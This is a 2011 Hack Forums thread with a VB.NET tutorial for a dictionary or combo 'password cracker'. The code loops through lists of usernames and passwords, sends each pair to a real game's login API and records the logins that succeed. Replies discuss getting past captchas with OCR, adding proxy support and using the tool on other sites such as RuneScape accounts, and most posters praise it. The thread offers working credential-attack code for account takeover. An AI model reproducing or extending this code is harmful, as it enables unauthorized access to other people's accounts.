

Forum:[Hack Forums](#)

Thread: [\[vb.net\]How to make a simple Password cracker](#)

Jadencide - March 17, 2011, 10:06 pm

First what you'll need is 3 Listboxes

3 labels

1 Button

A Game to Crack/Site

Step 2 make your form like this:

[img]http://img43.imageshack.us/img43/5962/2ndth.png[/img]

Step 3 that lets add the code:

Code Imports System.Threading

Public Class Form1

Dim t1 As New System.Threading.Thread(AddressOf cracker) 'using threading so it doesn't lag

Public Sub cracker()

For x = 0 To ListBox1.Items.Count - 1

For y = 0 To ListBox2.Items.Count - 1

ListBox1.SelectedIndex = x

ListBox2.SelectedIndex = y

Dim url As New Net.WebClient

Dim str As String =

url.DownloadString("https://apps.dxd.go.com/dxd/flashAPI/login?username=" &

ListBox1.SelectedItem & "&password=" & ListBox2.SelectedItem &

"&promotionName=Pirates%5FOnline%5FRegistration%5FDefault")

If str.Contains("<success>1</success>") Then

ListBox3.Items.Add(ListBox1.SelectedItem & ":" & ListBox2.SelectedItem)

GoTo next1 ' so it doesn't keep cracking the cracked account ^_^

Else

'failed loooooo

End If

Next y

next1:

Next x

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Button1.Click

Control.CheckForIllegalCrossThreadCalls = False ' gets rid of that annoying error

I would suggest you learn about OCR, so you can bypass captchas.

Also this guide is very explanationfull.

<http://www.apathysketchpad.com/blog/2007/06/05/how-to-crack-captchas/>

It's not a bruteforcer..

And isn't it you who are to learn/implement OCR? OP provided the basics, you keep building on it.

Jadencide - March 18, 2011, 6:19 pm

If anyone gets stumped, or needs a question answered. Ask away :)

jezebel - March 18, 2011, 6:29 pm

(Mar 18, 2011 01:45 PM)UbbeLoL Wrote: [\[CITE\]](#) It's not a bruteforcer..

And isn't it you who are to learn/implement OCR? OP provided the basics, you keep building on it. You have a very good point sir. If I was any good at coding I would add on to it. But nice job on it. Keep up the good work.

Fake. - March 18, 2011, 6:40 pm

Code Control.CheckForIllegalCrossThreadCalls = False ' gets rid of that annoying errorBad coding practices are bad.

ident - March 18, 2011, 6:48 pm

(Mar 18, 2011 06:40 PM)Fake™ Wrote: [\[CITE\]](#) Code Control.CheckForIllegalCrossThreadCalls = False ' gets rid of that annoying errorBad coding practices are bad.

First thing that was brought to my attention.

Fake. - March 18, 2011, 7:01 pm

(Mar 18, 2011 06:48 PM)ident Wrote: [\[CITE\]](#) First thing that was brought to my attention.

I would've thought the word illegal in the property was enough to give it away, but apparently not ?

Jadencide - March 18, 2011, 7:51 pm

Like i said. Is using that bad pl0x?

Emily - March 18, 2011, 8:04 pm

Nice job on the tutorial, mate! This should help a lot of people.

BlackLayer - March 18, 2011, 10:17 pm

nice programmer ??

Jash - March 19, 2011, 1:08 am

I've tested OCR few minutes ago; It's having a hard time recognizing captcha from reCaptcha.

Jadencide - March 19, 2011, 6:56 am

Thanks, hmm i need a way of OCR'ing a reCaptcha..

Fr3d - March 19, 2011, 7:45 am

Thank you for this, really helps you learn.

Flareboy323 - March 19, 2011, 8:28 am

Thanks for this, but I really need to find out how to get that url >.< Im thinking of trying a program like this for a website i know, but it gives a lot of captchas

?Demon - March 19, 2011, 8:32 am

I'll look into bruteforcing without listboxes.

Jadencide - March 19, 2011, 8:57 am

(Mar 19, 2011 08:32 AM)?Demon Wrote: [\[CITE\]](#) I'll look into bruteforcing without listboxes.
This isn't bruteforcing.. its Combo/Dictionary attack :/

bassmaster1995master - April 7, 2011, 12:19 pm

? it do not crack password i do like 0

Jadencide - April 19, 2011, 4:28 pm

What? English please, and the problem is not with me. The problem exists between the keyboard and chair.

paulos - April 19, 2011, 5:29 pm

Awesome share dude :D

- very usefull for the starters :P

Acidious - April 19, 2011, 8:01 pm

Very Nice tutorial, Also very basic, kudos buddy :)

kingsizednads - April 19, 2011, 8:58 pm

Very nice thank you, thanks for sharing!

Jadencide - April 20, 2011, 5:26 pm

Anytime :) love to give back xD

Greybeard - April 23, 2011, 3:29 am

Nice work man! 3+rep,

this message is to short.

Jadencide - April 29, 2011, 3:12 am

(Apr 23, 2011 03:29 AM)Johnny Dorian Wrote: [\[CITE\]](#) Nice work man! 3+rep,

this message is to short.

Thanks man i really appreciate it :)

Arjun21 - June 4, 2011, 3:43 am

Most of the time, usernames and passwords are not sent through url as you are doing.

Is there any way to send usernames and passwords not by url ?

Jadencide - June 9, 2011, 7:29 pm

(Jun 4, 2011 03:43 AM)Arjun21 Wrote: [\[CITE\]](#) Most of the time, usernames and passwords are not sent through url as you are doing.

Is there any way to send usernames and passwords not by url ?

Lol...? what!?!?!? Do you mean ftp or something?

Arjun21 - June 9, 2011, 9:36 pm

(Jun 9, 2011 07:29 PM)Jadencide Wrote: [\[CITE\]](#) Lol...? what!?!?!? Do you mean ftp or something?
i mean the usernames & passwords are sent using the post method in HTML and not the get method. So they will not got through the URL.

Jadencide - June 9, 2011, 9:42 pm

(Jun 9, 2011 09:36 PM)Arjun21 Wrote: [\[CITE\]](#) i mean the usernames & passwords are sent using the post method in HTML and not the get method. So they will not got through the URL.Well this is a old and slow method but it gets the job done accurately.

If the login works, it checks the response for a valid login. No need to check the URL.

BeezyB - June 9, 2011, 10:57 pm

(Mar 18, 2011 06:48 PM)ident Wrote: [\[CITE\]](#) First thing that was brought to my attention. Mine as well.

@Jaden: Please do not attempt to thread an application and release it unless you're aware of how to thread properly as it hinders other members' views.

If you search around, you'll find a thread full of video tutorials on how to thread properly by one of the most respected and intelligent members of this section; Aeonhack.

I would also suggest calling the following methods:

```
ListBox1.BeginUpdate();  
<insert looping>  
ListBox1.EndUpdate();
```

For efficiency as the ListBox's UI isn't updated until everything has been added.

Thanks for the contribution however.

~~((HACKER))~~ - June 10, 2011, 12:47 am

Good work Jade, Well Explained.

Coleak - June 10, 2011, 12:56 am

Noo, you copied the code directly into the thread :((sad face). Next time take a picture of the code and post it here, it is a really effective way of making the kids actually work for their code.

Jadencide - June 14, 2011, 10:55 am

(Jun 9, 2011 10:57 PM)JBow94 Wrote: [\[CITE\]](#) Mine as well.

@Jaden: Please do not attempt to thread an application and release it unless you're aware of how to thread properly as it hinders other members' views.

If you search around, you'll find a thread full of video tutorials on how to thread properly by one of the most respected and intelligent members of this section; Aeonhack.

I would also suggest calling the following methods:

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```

For efficiency as the ListBox's UI isn't updated until everything has been added.

Thanks for the contribution however.

The only reason why i added a thread was to keep the application from freezing. This was a quick wip up and the crackers i release are a bit more advanced, but thanks for your concern.

0xE9 - June 14, 2011, 11:05 am

Next you can add proxy support.

Dizzybro6 - June 14, 2011, 12:19 pm

Very nice bruteforcer!! good job!

Jadencide - June 14, 2011, 9:07 pm

Welcome :)

Spoiler ([Click to View](#))Harry dies...ohnoes

Coleak - June 15, 2011, 2:14 am

Unless you posted this in three other places, this isnt your tutorial.

Please dont spam and take credit for others...

[img]http://www.simranspace.com/dl/bullshit.png[/img]

Jadencide - June 15, 2011, 6:02 am

Look at the dates of all those posts compared to mine. I also owned escapedforums which is down now and replaced with RS2H. Im legit.

Edit: if you look at those links.. They give me credit for it..

<http://www.moddingdev.com/forums/topic/5312-simple-password-cracker-vb-2008/>

^ example

INFA?OUS - June 15, 2011, 7:37 am

Good stuff.

Keep up the work ?

Jadencide - August 1, 2011, 9:34 am

Thanks, any questions just ask here.

trentgeiss - August 2, 2011, 6:01 pm

verry nice tutorial. easy to understand and well written. great work

Dread Pirate Roberts - August 3, 2011, 3:01 am

Bookmarked this thread, thanks op.

Futuristic - August 3, 2011, 5:48 pm

(Mar 18, 2011 06:19 PM)Jadencide Wrote: ([CITE](#)) If anyone gets stumped, or needs a question answered. Ask away :)

it says 'cracker' is not declared. it may be inaccessible due to its protection level.

what does that mean?

the error is here:

Dim t1 As New System.Threading.Thread(AddressOf cracker) 'using threading so it doesn't lag

Jadencide - October 25, 2011, 6:33 pm

You did something wrong lol. Try recopying loool

ANME - November 14, 2011, 3:14 am

How to add those fake or test account and passwords????

mike887live123 - January 23, 2012, 12:03 am

Is this possible with runescape accounts?

onecool - January 23, 2012, 9:22 am

Nice job ! i like this tool !! and this source is verygood !!

sickoryy - January 23, 2012, 11:55 am

nice tut :D helped me rly out ;)

thank you!

brownnigerian - March 13, 2017, 9:45 am

Thank you for this, will help me!

Zilog80 - March 13, 2017, 12:03 pm

(Mar 13, 2017 09:45 AM)brownnigerian Wrote: [\[CITE\]](#) Thank you for this, will help me!

The facts: User joined today (or 3 days ago)

User post count: 1 Posting on 2011 post (6 year old)

Posting on banned OP thread (said 'Hello multinick')

* Unlock gravedigger achievement